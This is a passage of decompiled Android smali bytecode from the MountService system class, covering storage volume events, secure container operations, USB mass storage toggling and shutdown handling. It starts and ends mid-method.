:try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1004 const/16 v19, 0x276 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_9 .line 1005 invoke-virtual/range {p0 .. p0}, Lcom/android/server/MountService;->isUsbMassStorageConnected()Z move-result v19 if-eqz v19, :cond_7 invoke-virtual/range {v18 .. v18}, Landroid/os/storage/StorageVolume;->allowMassStorage()Z move-result v19 if-nez v19, :cond_8 .line 1006 :cond_7 new-instance v19, Lcom/android/server/MountService$4; const-string v20, "MountService#VolumeDiskInserted" move-object/from16 v0, v19 move-object/from16 v1, p0 move-object/from16 v2, v20 invoke-direct {v0, v1, v2, v13}, Lcom/android/server/MountService$4;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Ljava/lang/String;)V invoke-virtual/range {v19 .. v19}, Lcom/android/server/MountService$4;->start()V .line 1050 :cond_8 :goto_5 if-eqz v6, :cond_0 .line 1051 sget-object v19, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; move-object/from16 v0, p0 move-object/from16 v1, v18 move-object/from16 v2, v19 invoke-direct {v0, v6, v1, v2}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V goto/16 :goto_0 .line 993 .end local v14 # "state":Ljava/lang/String; .end local v18 # "volume":Landroid/os/storage/StorageVolume; :catch_0 move-exception v9 .line 994 .local v9, "ex":Ljava/lang/Exception; const-string v19, "MountService" const-string v20, "Failed to parse major/minor" move-object/from16 v0, v19 move-object/from16 v1, v20 invoke-static {v0, v1, v9}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I goto :goto_4 .line 1002 .end local v9 # "ex":Ljava/lang/Exception; :catchall_0 move-exception v19 :try_start_2 monitor-exit v20 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v19 .line 1020 .restart local v14 # "state":Ljava/lang/String; .restart local v18 # "volume":Landroid/os/storage/StorageVolume; :cond_9 const/16 v19, 0x277 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_b .line 1024 move-object/from16 v0, p0 invoke-virtual {v0, v13}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v19 const-string v20, "bad_removal" invoke-virtual/range {v19 .. v20}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v19 if-eqz v19, :cond_a .line 1025 const/16 v19, 0x1 goto/16 :goto_1 .line 1029 :cond_a const-string v19, "unmounted" move-object/from16 v0, p0 move-object/from16 v1, v18 move-object/from16 v2, v19 invoke-direct {v0, v1, v2}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1030 const-string v19, "android.intent.action.MEDIA_UNMOUNTED" sget-object v20, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; move-object/from16 v0, p0 move-object/from16 v1, v19 move-object/from16 v2, v18 move-object/from16 v3, v20 invoke-direct {v0, v1, v2, v3}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .line 1033 const-string v19, "removed" move-object/from16 v0, p0 move-object/from16 v1, v18 move-object/from16 v2, v19 invoke-direct {v0, v1, v2}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1034 const-string v6, "android.intent.action.MEDIA_REMOVED" goto :goto_5 .line 1035 :cond_b const/16 v19, 0x278 move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_c .line 1038 const-string v19, "unmounted" move-object/from16 v0, p0 move-object/from16 v1, v18 move-object/from16 v2, v19 invoke-direct {v0, v1, v2}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1039 const-string v19, "android.intent.action.MEDIA_UNMOUNTED" sget-object v20, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; move-object/from16 v0, p0 move-object/from16 v1, v19 move-object/from16 v2, v18 move-object/from16 v3, v20 invoke-direct {v0, v1, v2, v3}, Lcom/android/server/MountService;->sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .line 1042 const-string v19, "bad_removal" move-object/from16 v0, p0 move-object/from16 v1, v18 move-object/from16 v2, v19 invoke-direct {v0, v1, v2}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .line 1043 const-string v6, "android.intent.action.MEDIA_BAD_REMOVAL" goto/16 :goto_5 .line 1044 :cond_c const/16 v19, 0x2bc move/from16 v0, p1 move/from16 v1, v19 if-ne v0, v1, :cond_d .line 1045 invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J move-result-wide v20 invoke-static/range {v20 .. v21}, Lcom/android/server/EventLogTags;->writeFstrimFinish(J)V goto/16 :goto_5 .line 1047 :cond_d const-string v19, "MountService" const-string v20, "Unknown code {%d}" const/16 v21, 0x1 move/from16 v0, v21 new-array v0, v0, [Ljava/lang/Object; move-object/from16 v21, v0 const/16 v22, 0x0 invoke-static/range {p1 .. p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v23 aput-object v23, v21, v22 invoke-static/range {v20 .. v21}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v20 invoke-static/range {v19 .. v20}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto/16 :goto_5 .line 1054 .end local v6 # "action":Ljava/lang/String; .end local v10 # "label":Ljava/lang/String; .end local v11 # "major":I .end local v12 # "minor":I .end local v13 # "path":Ljava/lang/String; .end local v14 # "state":Ljava/lang/String; .end local v18 # "volume":Landroid/os/storage/StorageVolume; :cond_e const/16 v19, 0x0 goto/16 :goto_1 .end method .method public registerListener(Landroid/os/storage/IMountServiceListener;)V .locals 5 .param p1, "listener" # Landroid/os/storage/IMountServiceListener; .prologue .line 1609 iget-object v3, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v3 .line 1610 :try_start_0 new-instance v0, Lcom/android/server/MountService$MountServiceBinderListener; invoke-direct {v0, p0, p1}, Lcom/android/server/MountService$MountServiceBinderListener;-><init>(Lcom/android/server/MountService;Landroid/os/storage/IMountServiceListener;)V :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 1612 .local v0, "bl":Lcom/android/server/MountService$MountServiceBinderListener; :try_start_1 invoke-interface {p1}, Landroid/os/storage/IMountServiceListener;->asBinder()Landroid/os/IBinder; move-result-object v2 const/4 v4, 0x0 invoke-interface {v2, v0, v4}, Landroid/os/IBinder;->linkToDeath(Landroid/os/IBinder$DeathRecipient;I)V .line 1613 iget-object v2, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v2, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z :try_end_1 .catch Landroid/os/RemoteException; {:try_start_1 .. :try_end_1} :catch_0 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1617 :goto_0 :try_start_2 monitor-exit v3 .line 1618 return-void .line 1614 :catch_0 move-exception v1 .line 1615 .local v1, "rex":Landroid/os/RemoteException; const-string v2, "MountService" const-string v4, "Failed to link to listener death" invoke-static {v2, v4}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .line 1617 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v1 # "rex":Landroid/os/RemoteException; :catchall_0 move-exception v2 monitor-exit v3 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v2 .end method .method public renameSecureContainer(Ljava/lang/String;Ljava/lang/String;)I .locals 7 .param p1, "oldId" # Ljava/lang/String; .param p2, "newId" # Ljava/lang/String; .prologue .line 2083 const-string v2, "android.permission.ASEC_RENAME" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2084 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2085 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2087 iget-object v3, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v3 .line 2092 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v2, p1}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v2 if-nez v2, :cond_0 iget-object v2, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v2, p2}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v2 if-eqz v2, :cond_1 .line 2093 :cond_0 const/4 v1, -0x6 monitor-exit v3 .line 2104 :goto_0 return v1 .line 2095 :cond_1 monitor-exit v3 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 2097 const/4 v1, 0x0 .line 2099 .local v1, "rc":I :try_start_1 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "asec" const/4 v4, 0x3 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "rename" aput-object v6, v4, v5 const/4 v5, 0x1 aput-object p1, v4, v5 const/4 v5, 0x2 aput-object p2, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_1 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_1 .. :try_end_1} :catch_0 goto :goto_0 .line 2100 :catch_0 move-exception v0 .line 2101 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v1, -0x1 goto :goto_0 .line 2095 .end local v0 # "e":Lcom/android/server/NativeDaemonConnectorException; .end local v1 # "rc":I :catchall_0 move-exception v2 :try_start_2 monitor-exit v3 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v2 .end method .method public resizeSecureContainer(Ljava/lang/String;ILjava/lang/String;)I .locals 7 .param p1, "id" # Ljava/lang/String; .param p2, "sizeMb" # I .param p3, "key" # Ljava/lang/String; .prologue .line 1912 const-string v2, "android.permission.ASEC_CREATE" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1913 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1914 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1916 const/4 v1, 0x0 .line 1918 .local v1, "rc":I :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "asec" const/4 v4, 0x4 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "resize" aput-object v6, v4, v5 const/4 v5, 0x1 aput-object p1, v4, v5 const/4 v5, 0x2 invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v4, v5 const/4 v5, 0x3 new-instance v6, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {v6, p3}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1922 :goto_0 return v1 .line 1919 :catch_0 move-exception v0 .line 1920 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v1, -0x1 goto :goto_0 .end method .method runIdleMaintenance(Ljava/lang/Runnable;)V .locals 3 .param p1, "callback" # Ljava/lang/Runnable; .prologue .line 723 iget-object v0, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; iget-object v1, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; const/4 v2, 0x5 invoke-virtual {v1, v2, p1}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v1 invoke-virtual {v0, v1}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z .line 724 return-void .end method .method public runMaintenance()V .locals 1 .prologue .line 729 const-string v0, "android.permission.MOUNT_UNMOUNT_FILESYSTEMS" invoke-direct {p0, v0}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 730 const/4 v0, 0x0 invoke-virtual {p0, v0}, Lcom/android/server/MountService;->runIdleMaintenance(Ljava/lang/Runnable;)V .line 731 return-void .end method .method public setField(Ljava/lang/String;Ljava/lang/String;)V .locals 7 .param p1, "field" # Ljava/lang/String; .param p2, "contents" # Ljava/lang/String; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2448 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2452 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x3 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "setfield" aput-object v6, v4, v5 const/4 v5, 0x1 aput-object p1, v4, v5 const/4 v5, 0x2 aput-object p2, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v1 .line 2456 .local v1, "event":Lcom/android/server/NativeDaemonEvent; return-void .line 2453 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :catch_0 move-exception v0 .line 2454 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->rethrowAsParcelableException()Ljava/lang/IllegalArgumentException; move-result-object v2 throw v2 .end method .method public setUsbMassStorageEnabled(Z)V .locals 9 .param p1, "enable" # Z .prologue const/4 v8, 0x1 .line 1728 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1729 const-string v5, "android.permission.MOUNT_UNMOUNT_FILESYSTEMS" invoke-direct {p0, v5}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1730 const-string v5, "no_usb_file_transfer" invoke-direct {p0, v5}, Lcom/android/server/MountService;->validateUserRestriction(Ljava/lang/String;)V .line 1733 invoke-direct {p0}, Lcom/android/server/MountService;->getShareableVolumes()Ljava/util/ArrayList; move-result-object v5 invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v0 .local v0, "i$":Ljava/util/Iterator; :cond_0 :goto_0 invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z move-result v5 if-eqz v5, :cond_2 invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v2 check-cast v2, Ljava/lang/String; .line 1737 .local v2, "path":Ljava/lang/String; invoke-virtual {p0, v2}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v4 .line 1738 .local v4, "vs":Ljava/lang/String; const-string v1, "ums" .line 1739 .local v1, "method":Ljava/lang/String; if-eqz p1, :cond_1 const-string v5, "mounted" invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-eqz v5, :cond_1 .line 1741 invoke-direct {p0, p1}, Lcom/android/server/MountService;->setUmsEnabling(Z)V .line 1742 new-instance v3, Lcom/android/server/MountService$UmsEnableCallBack; invoke-direct {v3, p0, v2, v1, v8}, Lcom/android/server/MountService$UmsEnableCallBack;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Ljava/lang/String;Z)V .line 1743 .local v3, "umscb":Lcom/android/server/MountService$UmsEnableCallBack; iget-object v5, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; iget-object v6, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; invoke-virtual {v6, v8, v3}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v6 invoke-virtual {v5, v6}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z .line 1745 const/4 v5, 0x0 invoke-direct {p0, v5}, Lcom/android/server/MountService;->setUmsEnabling(Z)V .line 1750 .end local v3 # "umscb":Lcom/android/server/MountService$UmsEnableCallBack; :cond_1 if-nez p1, :cond_0 .line 1751 invoke-direct {p0, v2, v1, p1}, Lcom/android/server/MountService;->doShareUnshareVolume(Ljava/lang/String;Ljava/lang/String;Z)V .line 1752 invoke-direct {p0, v2}, Lcom/android/server/MountService;->doMountVolume(Ljava/lang/String;)I move-result v5 if-eqz v5, :cond_0 .line 1753 const-string v5, "MountService" new-instance v6, Ljava/lang/StringBuilder; invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V const-string v7, "Failed to remount " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 const-string v7, " after disabling share method " invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v6 invoke-static {v5, v6}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .line 1763 .end local v1 # "method":Ljava/lang/String; .end local v2 # "path":Ljava/lang/String; .end local v4 # "vs":Ljava/lang/String; :cond_2 return-void .end method .method public shutdown(Landroid/os/storage/IMountShutdownObserver;)V .locals 12 .param p1, "observer" # Landroid/os/storage/IMountShutdownObserver; .prologue .line 1633 const-string v8, "android.permission.SHUTDOWN" invoke-direct {p0, v8}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1635 const-string v8, "MountService" const-string v9, "Shutting down" invoke-static {v8, v9}, Landroid/util/Slog;->i(Ljava/lang/String;Ljava/lang/String;)I .line 1636 iget-object v9, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v9 .line 1638 :try_start_0 new-instance v2, Lcom/android/server/MountService$MountShutdownLatch; iget-object v8, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v8}, Ljava/util/HashMap;->size()I move-result v8 invoke-direct {v2, p1, v8}, Lcom/android/server/MountService$MountShutdownLatch;-><init>(Landroid/os/storage/IMountShutdownObserver;I)V .line 1641 .local v2, "mountShutdownLatch":Lcom/android/server/MountService$MountShutdownLatch; iget-object v8, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v8}, Ljava/util/HashMap;->keySet()Ljava/util/Set; move-result-object v8 invoke-interface {v8}, Ljava/util/Set;->iterator()Ljava/util/Iterator; move-result-object v0 .local v0, "i$":Ljava/util/Iterator; :cond_0 :goto_0 invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z move-result v8 if-eqz v8, :cond_5 invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v3 check-cast v3, Ljava/lang/String; .line 1642 .local v3, "path":Ljava/lang/String; iget-object v8, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v8, v3}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v6 check-cast v6, Ljava/lang/String; .line 1644 .local v6, "state":Ljava/lang/String; const-string v8, "shared" invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v8 if-eqz v8, :cond_2 .line 1652 const/4 v8, 0x0 invoke-virtual {p0, v8}, Lcom/android/server/MountService;->setUsbMassStorageEnabled(Z)V .line 1674 :cond_1 :goto_1 const-string v8, "mounted" invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v8 if-eqz v8, :cond_4 .line 1676 new-instance v7, Lcom/android/server/MountService$ShutdownCallBack; invoke-direct {v7, p0, v3, v2}, Lcom/android/server/MountService$ShutdownCallBack;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Lcom/android/server/MountService$MountShutdownLatch;)V .line 1677 .local v7, "ucb":Lcom/android/server/MountService$ShutdownCallBack; iget-object v8, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; iget-object v10, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; const/4 v11, 0x1 invoke-virtual {v10, v11, v7}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v10 invoke-virtual {v8, v10}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z goto :goto_0 .line 1688 .end local v0 # "i$":Ljava/util/Iterator; .end local v2 # "mountShutdownLatch":Lcom/android/server/MountService$MountShutdownLatch; .end local v3 # "path":Ljava/lang/String; .end local v6 # "state":Ljava/lang/String; .end local v7 # "ucb":Lcom/android/server/MountService$ShutdownCallBack; :catchall_0 move-exception v8 monitor-exit v9 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v8 .line 1653 .restart local v0 # "i$":Ljava/util/Iterator; .restart local v2 # "mountShutdownLatch":Lcom/android/server/MountService$MountShutdownLatch; .restart local v3 # "path":Ljava/lang/String; .restart local v6 # "state":Ljava/lang/String; :cond_2 :try_start_1 const-string v8, "checking" invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v8 if-eqz v8, :cond_1 .line 1659 const/16 v4, 0x1e .local v4, "retries":I move v5, v4 .line 1660 .end local v4 # "retries":I .local v5, "retries":I :goto_2 const-string v8, "checking" invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 move-result v8 if-eqz v8, :cond_6 add-int/lit8 v4, v5, -0x1 .end local v5 # "retries":I .restart local v4 # "retries":I if-ltz v5, :cond_3 .line 1662 const-wide/16 v10, 0x3e8 :try_start_2 invoke-static {v10, v11}, Ljava/lang/Thread;->sleep(J)V :try_end_2 .catch Ljava/lang/InterruptedException; {:try_start_2 .. :try_end_2} :catch_0 .catchall {:try_start_2 .. :try_end_2} :catchall_0 .line 1667 :try_start_3 invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String; move-result-object v6 move v5, v4 .end local v4 # "retries":I .restart local v5 # "retries":I goto :goto_2 .line 1663 .end local v5 # "retries":I .restart local v4 # "retries":I :catch_0 move-exception v1 .line 1664 .local v1, "iex":Ljava/lang/InterruptedException; const-string v8, "MountService" const-string v10, "Interrupted while waiting for media" invoke-static {v8, v10, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I .line 1669 .end local v1 # "iex":Ljava/lang/InterruptedException; :cond_3 :goto_3 if-nez v4, :cond_1 .line 1670 const-string v8, "MountService" const-string v10, "Timed out waiting for media to check" invoke-static {v8, v10}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_1 .line 1678 .end local v4 # "retries":I :cond_4 if-eqz p1, :cond_0 .line 1683 invoke-virtual {v2}, Lcom/android/server/MountService$MountShutdownLatch;->countDown()V .line 1684 const-string v8, "MountService" new-instance v10, Ljava/lang/StringBuilder; invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V const-string v11, "Unmount completed: " invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v10 invoke-virtual {v10, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v10 const-string v11, ", result code: " invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v10 const/4 v11, 0x0 invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v10 invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v10 invoke-static {v8, v10}, Landroid/util/Slog;->i(Ljava/lang/String;Ljava/lang/String;)I goto/16 :goto_0 .line 1688 .end local v3 # "path":Ljava/lang/String; .end local v6 # "state":Ljava/lang/String; :cond_5 monitor-exit v9 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_0 .line 1689 return-void .restart local v3 # "path":Ljava/lang/String; .restart local v5 # "retries":I .restart local v6 # "state":Ljava/lang/String; :cond_6 move v4, v5 .end local v5 # "retries":I .restart local v4 # "retries":I goto :goto_3 .end method .method public systemReady()V .locals 2 .prologue .line 1600 const/4 v0, 0x1 iput-boolean v0, p0, Lcom/android/server/MountService;->mSystemReady:Z .line 1601 iget-object v0, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; const/4 v1, 0x4 invoke-virtual {v0, v1}, Landroid/os/Handler;->obtainMessage(I)Landroid/os/Message; move-result-object v0 invoke-virtual {v0}, Landroid/os/Message;->sendToTarget()V .line 1602 return-void .end method .method public unmountObb(Ljava/lang/String;ZLandroid/os/storage/IObbActionListener;I)V .locals 9 .param p1, "rawPath" # Ljava/lang/String; .param p2, "force" # Z .param p3, "token" # Landroid/os/storage/IObbActionListener; .param p4, "nonce" # I .prologue .line 2228 const-string v1, "rawPath cannot be null" invoke-static {p1, v1}, Lcom/android/internal/util/Preconditions;->checkNotNull(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2231 iget-object v2, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; monitor-enter v2 .line 2232 :try_start_0 iget-object v1, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; invoke-interface {v1, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v8 check-cast v8, Lcom/android/server/MountService$ObbState; .line 2233 .local v8, "existingState":Lcom/android/server/MountService$ObbState; monitor-exit v2 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 2235 if-eqz v8, :cond_0 .line 2237 invoke-static {}, Landroid/os/Binder;->getCallingUid()I move-result v4 .line 2238 .local v4, "callingUid":I new-instance v0, Lcom/android/server/MountService$ObbState; iget-object v3, v8, Lcom/android/server/MountService$ObbState;->canonicalPath:Ljava/lang/String; move-object v1, p0 move-object v2, p1 move-object v5, p3 move v6, p4 invoke-direct/range {v0 .. v6}, Lcom/android/server/MountService$ObbState;-><init>(Lcom/android/server/MountService;Ljava/lang/String;Ljava/lang/String;ILandroid/os/storage/IObbActionListener;I)V .line 2240 .local v0, "newState":Lcom/android/server/MountService$ObbState; new-instance v7, Lcom/android/server/MountService$UnmountObbAction; invoke-direct {v7, p0, v0, p2}, Lcom/android/server/MountService$UnmountObbAction;-><init>(Lcom/android/server/MountService;Lcom/android/server/MountService$ObbState;Z)V .line 2241 .local v7, "action":Lcom/android/server/MountService$ObbAction; iget-object v1, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; iget-object v2, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; const/4 v3, 0x1 invoke-virtual {v2, v3, v7}, Lcom/android/server/MountService$ObbActionHandler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v2 invoke-virtual {v1, v2}, Lcom/android/server/MountService$ObbActionHandler;->sendMessage(Landroid/os/Message;)Z .line 2248 .end local v0 # "newState":Lcom/android/server/MountService$ObbState; .end local v4 # "callingUid":I .end local v7 # "action":Lcom/android/server/MountService$ObbAction; :goto_0 return-void .line 2233 .end local v8 # "existingState":Lcom/android/server/MountService$ObbState; :catchall_0 move-exception v1 :try_start_1 monitor-exit v2 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v1 .line 2246 .restart local v8 # "existingState":Lcom/android/server/MountService$ObbState; :cond_0 const-string v1, "MountService" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "Unknown OBB mount at " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .end method .method public unmountSecureContainer(Ljava/lang/String;Z)I .locals 8 .param p1, "id" # Ljava/lang/String; .param p2, "force" # Z .prologue .line 2030 const-string v4, "android.permission.ASEC_MOUNT_UNMOUNT" invoke-direct {p0, v4}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 2031 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2032 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 2034 iget-object v5, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v5 .line 